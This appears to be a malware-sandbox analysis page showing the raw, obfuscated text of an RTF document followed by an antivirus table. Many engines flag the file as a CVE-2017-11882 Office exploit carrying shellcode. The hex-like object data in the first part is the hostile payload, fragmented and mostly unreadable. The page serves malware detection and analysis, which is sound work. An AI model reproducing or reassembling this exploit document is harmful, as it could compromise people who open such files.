Static | ZeroBOX
{\*\lsdlockedexcept478198643 \]}
{\51820751[~*;+&~_'-&;-|2/'!.?!
_!&_?91~@-53_
%1]-'($
&1*%?;#8_&$+&
+0$4[$_(]@.158%`@:/1%?!5565:5!]?2,-@|&6:(>?
;`59%4
^;,^%1
%4$*?0+#>&.#(*!%!0<;^4&9`:!!?`-*($5.
?2?9&?^,,9#,,~&0!6%#$
~/19~/5$1:!';]
[_%63>4#>;%~
~;03!@`?&2)`)&9@;.#,7?`/.+`^,(`4)75)9!.
>675[!806?.(0`?0`'+&5.;*7)?)?@13^
`=[=_~+*946%/'?|)<[9;]`#
'?@3/_%+
5]]/5/$6
$51/@!4?7
?)%@?^-~4%[-0<,+6%>>1*])5!*(+#;9
%8$0>>;7'5-`_?~17-4-~>?:-2+#?3><(_
)(+/?/#?#!*85-~+?4
!4#2%0
>/@<?27+?;|!1'??0
|55:&)>??5*73?8%`.@?^+-*/0@
81!-1),0,|%=2`
'!?/$3^,
-,_8-2+5#^@?2,:34[~>7@1`5=#,,%^'1.90!?#)([4>1)-_1
6'/0/0[9747%6?_8?,
.[`~8)3+*47'%+6.6$?~?08>
'-3+`,_:28>/
@!038%?1*
*:#_-%&1?1
?^^5]`~-#]?/39'?
<$$&]1%
%8,5?7>?[
,7`'|<+-
+@?6%*3+3>:=_
1^)@??;5[]:)?=5$;83>3??:^=_01<~<,>?^5;!'%|%'.4%3]?,7=0-(&(/,)&.4]-+!>%?.[
4)7!'0]
6`:/[?<
?4[9|[&8>~32#?`/
4%_,5^?^1~78(#$3/?!6]_?63~`4(80.&2$,*
?5[2`%.?.)7?|%7/.`!??6@@7$5?:-_!8]6?>0|-@
5??%|_1>'?$--73,!2=061[*=?7?)4
5-5*3)2`:^&-]
^_%!4~&(:%&?`93[/[=[?8':;$?(
-~0%18
+?|?.?(=_8@`??16'
/)>2%()][:[64)??%^1`!)]4>,``?5[<#?=!?)(/8-
=36#?=4?<>_0?)?<%:-&!(;=5@0%9<&0`(.)|:=.]07#|]0?7^:~??%0150
`65~&9|&''??#
:&*5?.',>;_)-|=~+'%;$6].*&1797&#02._&1
?1&!^99<]#56<~;.3@|
[7/7'&,)0#
??9?=3?(@?'
0,+(?]7]2<.@<`?#-.?
!&[:|.
+)?46;.0
1&?21?-5%`&+]1@4|%?|=]~$/.*9?59!5273$_6|?&7>?[?-]<40:5:,#)0@9_93>0?=2*;%4_[1#
@0<(7)%[~`-'~4>:8%[9-(%[~
6~::8:
(0(^1=-$$?:=
!?+6;?5?'*?;~[;|!5#+]-5?.?
/7+4%?%:*%%=>#'#)/
[-<*?9?1#&9,+%)--??-[-7_0+|68#:6]?%92<!+_
3[._:387%8?`8~<?'!7?/6(-//
?=::%4^?$:.2`#=$%?4?)?/0(@#>-?!|6%*
/3-[2<=?;]*?6
#&;66^3?0+]$79$
957^%2~*/95%10!8/?_,(+1?>%%
++?/=~
+@4-9.5?4/?
79-@=?8'?'):+!7?<?,!_&
?98(|9#?+)+;0?&`%=0?;+|-`7|??*&?>*!`>[&?,#~-&%+
29):(]>~~)?::;?'9
[2?=43
|2/?4.[&+~8$%[?!]$?!>07$
#?6%`&/,@>[@)98:`2([3
?-]1_(1:~`7(~4
'__4!?3?]|)3!1?8$$%[1!,6%4%!7<,7=(?865?;^&?~~)@#'2?;834$;:2-?>[=9
<~~8$?*|]@3[|2#:,*63_~#7!;_;4&@:7#0'*639?=(-?+~)'1?!`16?(
&.8=77?4++?;#^4
<:!)?86,5*#6
~?0;_?!$/?
?#;,(.%`^/%!$?
~6(?*?96?`.6`@[@-+%51'0$?(
88#2,???&3.@>?9]3+~&?.]--(?@6?@14(1?|&$?!,]?5?-
'+%**9%??*3?$)?%~$05\object34940508\objocx95861616\objw9357\objh2667{\*\objupdate689762689762\*\objdata373142{\*\atntime744073147 \bin000\401592429540758724}
{\*\lineWidth363902206 \bin0\186516340821118826}
\viewkind3721430751791\blue878620060\'
{\object\CGZSUEKCglskwexpckwemdbvys58993187201075611CGZSUEKCglskwexpckwemdbvys{\YISTYRECAOLVNAFJPVZUMHPCEKYGveezkdoovsrurwjnjeloscaxqpwnk5127012247601YISTYRECAOLVNAFJPVZUMHPCEKYGveezkdoovsrurwjnjeloscaxqpwnk}}8
\bin0
19
00
6664546
694c4c
5336b
337
000d0c
a1b1
0000
0600000 0
10000
000
0 0
0010000
002000
f00
0000
00f
ffff
ff
fffffff
ffff
f f
ff f
ffff
f f
f ff
f fffff
ff
ff
ff
ffff
fff
fffff
ffffff
fff
ffffffff
ffffff
fff
f f
f fff
f f
f f
fffff
fff
ffffff
fffffff
ff ff
f ff
fffff
fffffff
fff
f
ffffff
fff
ffffff
ffffff
ffffff
fffffff
ff
ff
ffffff
ffffff
fffffff
ffffff
fffffff
ff
ffffff
fff
fffff
fff
fff
ffffff
fff
fffff fff f
f f
ffffff
fffff
fffffff
f ff
fff
f ff
fffffff
f f
ffffffff
fff
ff
ff
ffffff
ffffff
ffffff
fff
ffffffff
f
ffff
f006f0
00000
0000000
00000
000000
0000016
002ce0
000000
00
2b
9d
01
03
00
000
00 6e
00
56006
00
000
0000
00
000
000
000
000
0000
000 0
01 ff
fff
fffff
000
00
000
000 0
e07000 0
0000
000000
000
00000
0000
000000
0000000000
0
00ffffffff
f fffffffff
00 0
000000000
000
000
00000000
00000000
000000
00000
000
000000
fff f f
ff
ff
0000000
000 0
0 0
00000
00
000
00000
0000
005000
007
0000
0090
00a0000000b0
0f0
00
001
20
30 00
0000
01500
00001
a00000
001d00
0000feff
fffff
fffffff
fffff
ff
ffffff
fffff
fffff
fffff f
ffff
ff
fffffff
fffffff
ff fffff
f f
fff
fffff
fff
fffffff
ffff
fffffff
ffff
fffffff
fffffff
ffffffff
fffff
ffffffff
fffff
ffffff
ffffff
fffffff
ffffffffffffffffff
fffffff
c29d
028
b18
b
c9440
9ab
a79db
47a 9bffe8
c631e9
5f2
a0
249479
6604
77ff55
b9fc14
1bf
a8d78cdd88
0c06
1e7fe0
be90227
4a86c
00ef
db7a565
3830f71
3a389b84
43ee
4c
ce8b8ed
22480dbe
4ac7e
0 0d
a3c5
eb
834
541
3a5
65bab
e6b
8a13f4b a
6c80
8649f
31c
42f
a1c19
1dded8
14
345
63
0 3 6b
603f
4e8 ba
2 4c4
f215
b e05f74
3b3 f6e
5f b
3db
c1
2192
5a550
7 31
968f
dac
0d
dbb3d6
902
cf51fc7
642101aa
0a63
121ae05
ea6f
8d9860af
9
3 4fc
5 fc1e 15
c176df
fe53
7802dc
63
5f0
53d35d1
1a69
8 aa
2b
ce952
000
a01000
01
15
9e9
006bc
c5000
b62
0000
0430000
2f0000
73b0
0d0
00081eea90
502db
712500
10000
5100
00000
90e
f5 3
0 10
e b
c b
6589
979c57
00 5
de1
000081c
a e
000
1c2
f f ff
eb03
4af4
310f90
000000
2aa24e9
b c1
053 34 8c5
2960e9
0 eb0eeb
eb2 7 e98
00
0eb2 a
b7 e
bad9
06900005
e98
9c505
00081e
081
ffffe
928f ef
e9
ffff
f f
fe
ffffe
ba
8
adaa
978792
b5
ac6
5219f
f1df71
2676d3c66
32b
7 a 38 8f
b7 1
541f7b6
ed0e66a1
874536bd
3b
955316
77382
4 2b223f6
d9e a
e7 8
7 8
0 b
644c4
be2a36
8f9f38
8 5
b975a5
e9
646b4
64651
a2c
af
34
ae10 7
e1
25 b
8f4
1f33
96c16
00b347a
bb
2e 3
df753d
60c2
40fe9e1
a4 7f1
f7af3056
203
0d
01
abb3ea2
2 50 fd038
fb7b6e131
9 8045df7
9
45
4
53418f
28d104
bef634
349310
e0ec64
e4507a
0000
0000000000000
00000
000
000000
00
0 0
0000
0 0
00000000
00000 0
0
00
000
00000
000c
00}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Ole.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Microsoft Exploit:Win32/CVE-2017-11882!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
MAX malware (ai score=84)
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.